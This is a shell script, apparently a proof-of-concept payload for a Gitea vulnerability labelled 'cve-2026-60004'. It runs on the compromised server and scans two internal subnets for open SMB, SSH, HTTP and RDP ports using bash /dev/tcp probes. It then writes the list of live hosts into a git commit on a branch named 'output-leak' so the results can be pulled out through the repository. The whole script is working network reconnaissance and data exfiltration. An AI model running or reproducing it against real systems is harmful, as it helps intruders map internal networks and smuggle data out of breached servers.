27 lines
1.1 KiB
Bash
Executable File
27 lines
1.1 KiB
Bash
Executable File
#!/bin/sh
|
|
GD=$(git rev-parse --absolute-git-dir)
|
|
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
|
|
OUT=$(
|
|
OUT=/var/lib/gitea/.disc.txt
|
|
> $OUT
|
|
for sub in 10.209.15 10.209.179; do
|
|
for i in $(seq 1 254); do
|
|
ip="$sub.$i"
|
|
(timeout 1 bash -c "echo > /dev/tcp/$ip/445" 2>/dev/null && echo "$ip" >> $OUT) &
|
|
(timeout 1 bash -c "echo > /dev/tcp/$ip/22" 2>/dev/null && echo "$ip" >> $OUT) &
|
|
(timeout 1 bash -c "echo > /dev/tcp/$ip/80" 2>/dev/null && echo "$ip" >> $OUT) &
|
|
(timeout 1 bash -c "echo > /dev/tcp/$ip/3389" 2>/dev/null && echo "$ip" >> $OUT) &
|
|
# limit parallelism: every 20 hosts wait
|
|
if [ $((i % 20)) -eq 0 ]; then wait; fi
|
|
done
|
|
wait
|
|
done
|
|
sort -u $OUT
|
|
echo DISC-DONE
|
|
2>&1; echo "[exit-status=$?]")
|
|
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
|
|
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
|
|
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
|
|
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
|
|
#A
|